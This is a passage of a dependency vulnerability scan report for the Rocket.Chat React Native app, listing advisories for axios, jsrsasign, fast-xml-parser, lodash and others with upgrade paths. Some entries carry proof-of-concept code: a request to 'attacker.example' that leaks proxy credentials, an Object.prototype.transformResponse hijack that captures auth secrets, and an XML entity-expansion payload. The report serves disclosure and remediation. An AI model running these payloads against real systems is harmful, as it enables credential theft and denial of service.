Vulnerabilities

38 via 99 paths

Dependencies

1065

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 38
  • 1
Severity
  • 5
  • 14
  • 20
Status
  • 39
  • 0
  • 0

critical severity

Missing Cryptographic Step

  • Vulnerable module: jsrsasign
  • Introduced through: jsrsasign@11.0.0

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative jsrsasign@11.0.0
    Remediation: Upgrade to jsrsasign@11.1.1.

Overview

jsrsasign is a free pure JavaScript cryptographic library.

Affected versions of this package are vulnerable to Missing Cryptographic Step via the KJUR.crypto.DSA.signWithMessageHash process in the DSA signing implementation. An attacker can recover the private key by forcing r or s to be zero, so the library emits an invalid signature without retrying, and then solves for x from the resulting signature.

Remediation

Upgrade jsrsasign to version 11.1.1 or higher.

References

critical severity

Incomplete Comparison with Missing Factors

  • Vulnerable module: jsrsasign
  • Introduced through: jsrsasign@11.0.0

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative jsrsasign@11.0.0
    Remediation: Upgrade to jsrsasign@11.1.1.

Overview

jsrsasign is a free pure JavaScript cryptographic library.

Affected versions of this package are vulnerable to Incomplete Comparison with Missing Factors via the getRandomBigIntegerZeroToMax and getRandomBigIntegerMinToMax functions in src/crypto-1.1.js; an attacker can recover the private key by exploiting the incorrect compareTo checks that accept out-of-range candidates and thus bias DSA nonces during signature generation.

Remediation

Upgrade jsrsasign to version 11.1.1 or higher.

References

critical severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.

Notes

  • The gadget only matters when the request body is a non-FormData payload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path.
  • The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

critical severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

critical severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: jsrsasign
  • Introduced through: jsrsasign@11.0.0

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative jsrsasign@11.0.0
    Remediation: Upgrade to jsrsasign@11.1.1.

Overview

jsrsasign is a free pure JavaScript cryptographic library.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via the DSA domain-parameter validation in KJUR.crypto.DSA.setPublic (and the related DSA/X509 verification flow in src/dsa-2.0.js). An attacker can forge DSA signatures or X.509 certificates that X509.verifySignature() accepts by supplying malicious domain parameters such as g=1, y=1, and a fixed r=1, which make the verification equation true for any hash.

Remediation

Upgrade jsrsasign to version 11.1.1 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the Proxy-Authorization header being sent to the attacker's server.

Note:

This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when HTTPS_PROXY is unset or excluded by NO_PROXY).

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion through the toFormData recursive serializer in lib/helpers/toFormData.js. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: brace-expansion
  • Introduced through: @react-native/codegen@0.80.3, react-native@0.81.5 and others

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative @react-native/codegen@0.80.3 glob@7.2.3 minimatch@3.1.5 brace-expansion@1.1.15
    Remediation: Upgrade to @react-native/codegen@0.84.0.
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 glob@7.2.3 minimatch@3.1.5 brace-expansion@1.1.15
    Remediation: Upgrade to react-native@0.84.0.
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/codegen@0.81.5 glob@7.2.3 minimatch@3.1.5 brace-expansion@1.1.15
    Remediation: Upgrade to react-native@0.84.0.
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 babel-jest@29.7.0 babel-plugin-istanbul@6.1.1 test-exclude@6.0.0 minimatch@3.1.5 brace-expansion@1.1.15
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 babel-jest@29.7.0 babel-plugin-istanbul@6.1.1 test-exclude@6.0.0 glob@7.2.3 minimatch@3.1.5 brace-expansion@1.1.15
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 babel-jest@29.7.0 @jest/transform@29.7.0 babel-plugin-istanbul@6.1.1 test-exclude@6.0.0 minimatch@3.1.5 brace-expansion@1.1.15
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @react-native/dev-middleware@0.81.5 chromium-edge-launcher@0.2.0 rimraf@3.0.2 glob@7.2.3 minimatch@3.1.5 brace-expansion@1.1.15
    Remediation: Upgrade to expo@56.0.0.
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/community-cli-plugin@0.81.5 @react-native/dev-middleware@0.81.5 chromium-edge-launcher@0.2.0 rimraf@3.0.2 glob@7.2.3 minimatch@3.1.5 brace-expansion@1.1.15
    Remediation: Upgrade to react-native@0.85.0.
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 babel-preset-expo@54.0.11 @react-native/babel-preset@0.81.5 @react-native/babel-plugin-codegen@0.81.5 @react-native/codegen@0.81.5 glob@7.2.3 minimatch@3.1.5 brace-expansion@1.1.15
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 babel-jest@29.7.0 @jest/transform@29.7.0 babel-plugin-istanbul@6.1.1 test-exclude@6.0.0 glob@7.2.3 minimatch@3.1.5 brace-expansion@1.1.15
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 minimatch@9.0.9 brace-expansion@2.1.1
    Remediation: Upgrade to expo@55.0.0.
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native-bootsplash@6.3.12 @expo/config-plugins@10.1.2 glob@10.5.0 minimatch@9.0.9 brace-expansion@2.1.1
    Remediation: Upgrade to react-native-bootsplash@7.0.0.

Overview

brace-expansion is a Brace expansion as known from sh/bash

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the expand function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The max option does not prevent this issue, as it only limits the output size and not the computational workload.

Remediation

Upgrade brace-expansion to version 5.0.7 or higher.

References

high severity

XML Entity Expansion

  • Vulnerable module: fast-xml-parser
  • Introduced through: react-native-bootsplash@6.3.12

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native-bootsplash@6.3.12 @react-native-community/cli-config-android@18.0.1 fast-xml-parser@4.5.7
    Remediation: Upgrade to react-native-bootsplash@7.0.0.

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to XML Entity Expansion in the replaceEntitiesValue() function, which doesn't protect unlimited expansion of numeric entities the way it does DOCTYPE data (as described and fixed for CVE-2026-26278). An attacker can exhaust system memory and CPU resources by submitting XML input containing a large number of numeric character references - &#NNN; and &#xHH;.

Note: This is a bypass for the fix to the DOCTYPE expansion vulnerability in 5.3.6.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade fast-xml-parser to version 5.5.6 or higher.

References

high severity
new

Infinite loop

  • Vulnerable module: image-size
  • Introduced through: expo@54.0.35 and react-native@0.81.5

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro@54.2.0 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/community-cli-plugin@0.81.5 metro@0.83.7 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro@54.2.0 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro@54.2.0 metro-config@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro@54.2.0 metro-transform-worker@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/community-cli-plugin@0.81.5 metro-config@0.83.7 metro@0.83.7 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro-config@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro@54.2.0 metro-config@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro-transform-worker@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro@54.2.0 metro-transform-worker@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/community-cli-plugin@0.81.5 metro@0.83.7 metro-config@0.83.7 metro@0.83.7 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/community-cli-plugin@0.81.5 metro@0.83.7 metro-transform-worker@0.83.7 metro@0.83.7 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro-config@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro-transform-worker@0.83.3 metro@0.83.3 image-size@1.2.1

Overview

Affected versions of this package are vulnerable to Infinite loop in the extractPartialStreams() and corresponding extraction functions for HEIF, JP2, and JXL. An attacker supplying an image whose requested box declares a size of zero can hang the parser indefinitely.

Note: This is a bypass of the fix for the vulnerability described in CVE-2025-71319.

Remediation

There is no fixed version for image-size.

References

high severity
new

Infinite loop

  • Vulnerable module: image-size
  • Introduced through: expo@54.0.35 and react-native@0.81.5

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro@54.2.0 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/community-cli-plugin@0.81.5 metro@0.83.7 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro@54.2.0 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro@54.2.0 metro-config@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro@54.2.0 metro-transform-worker@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/community-cli-plugin@0.81.5 metro-config@0.83.7 metro@0.83.7 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro-config@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro@54.2.0 metro-config@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro-transform-worker@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro@54.2.0 metro-transform-worker@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/community-cli-plugin@0.81.5 metro@0.83.7 metro-config@0.83.7 metro@0.83.7 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native@0.81.5 @react-native/community-cli-plugin@0.81.5 metro@0.83.7 metro-transform-worker@0.83.7 metro@0.83.7 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro-config@0.83.3 metro@0.83.3 image-size@1.2.1
  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative expo@54.0.35 @expo/cli@54.0.25 @expo/metro-config@54.0.16 @expo/metro@54.2.0 metro-transform-worker@0.83.3 metro@0.83.3 image-size@1.2.1

Overview

Affected versions of this package are vulnerable to Infinite loop in icns.js. An ICNS file with an icon entry whose declared length is zero can hang the parser indefinitely.

Remediation

There is no fixed version for image-size.

References

high severity

Incorrect Conversion between Numeric Types

  • Vulnerable module: jsrsasign
  • Introduced through: jsrsasign@11.0.0

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative jsrsasign@11.0.0
    Remediation: Upgrade to jsrsasign@11.1.1.

Overview

jsrsasign is a free pure JavaScript cryptographic library.

Affected versions of this package are vulnerable to Incorrect Conversion between Numeric Types due to handling negative exponents in ext/jsbn2.js. An attacker can force the computation of incorrect modular inverses and break signature verification by calling modPow with a negative exponent.

Remediation

Upgrade jsrsasign to version 11.1.1 or higher.

References

high severity

Infinite loop

  • Vulnerable module: jsrsasign
  • Introduced through: jsrsasign@11.0.0

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative jsrsasign@11.0.0
    Remediation: Upgrade to jsrsasign@11.1.1.

Overview

jsrsasign is a free pure JavaScript cryptographic library.

Affected versions of this package are vulnerable to Infinite loop via the bnModInverse function in ext/jsbn2.js when the BigInteger.modInverse implementation receives zero or negative inputs, allowing an attacker to hang the process permanently by supplying such crafted values (e.g., modInverse(0, m) or modInverse(-1, m)).

Remediation

Upgrade jsrsasign to version 11.1.1 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.21

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative lodash@4.17.21
    Remediation: Upgrade to lodash@4.18.1.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

Notes:

  1. Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.

  2. This issue is due to the incomplete fix for CVE-2021-23337.

Remediation

Upgrade lodash to version 4.18.1 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.

Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.

PoC

import http from 'http';
import axios from 'axios';

const seen = [];

const server = http.createServer((req, res) => {
  res.setHeader('Content-Type', 'application/json');
  res.end(JSON.stringify({ secret: 'response-secret' }));
});

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
  if (headers && typeof status === 'number') {
    seen.push({
      url: this.url,
      username: this.auth && this.auth.username,
      password: this.auth && this.auth.password,
      responseData: data
    });

    return { hijacked: true };
  }

  return true;
};

try {
  const { port } = server.address();

  const response = await axios.get(`http://127.0.0.1:${port}/users`, {
    auth: { username: 'svc-account', password: 'prod-secret-key-123' }
  });

  console.log(response.data); // { hijacked: true }
  console.log(seen[0]);       // request config plus original response body
} finally {
  delete Object.prototype.transformResponse;

  server.close();
}

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.2 or higher.

References

high severity

Improper Validation of Specified Quantity in Input

  • Vulnerable module: fast-xml-parser
  • Introduced through: react-native-bootsplash@6.3.12

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative react-native-bootsplash@6.3.12 @react-native-community/cli-config-android@18.0.1 fast-xml-parser@4.5.7
    Remediation: Upgrade to react-native-bootsplash@7.0.0.

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input in the DocTypeReader component when the maxEntityCount or maxEntitySize configuration options are explicitly set to 0. Due to JavaScript's falsy evaluation, the intended limits are bypassed. An attacker can cause unbounded entity expansion and exhaust server memory by supplying crafted XML input containing numerous large entities.

Note:

This is only exploitable if the application is configured with processEntities enabled and either maxEntityCount or maxEntitySize set to 0.

PoC

const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console.log("SAFE:", e.message);
}

// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 1,
    maxEntitySize: 100
  }
});

try {
  safeParser.parse(xml);
  console.log("ERROR: should have thrown");
} catch (e) {
  console.log("CONTROL:", e.message);  // "Entity count (2) exceeds maximum allowed (1)"
}

Remediation

Upgrade fast-xml-parser to version 5.5.7 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.32.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.

Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

HTTP Response Splitting

  • Vulnerable module: axios
  • Introduced through: axios@0.30.3

Detailed paths

  • Introduced through: rocket-chat-reactnative@rocketchat/rocket.chat.reactnative axios@0.30.3
    Remediation: Upgrade to axios@0.31.0.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

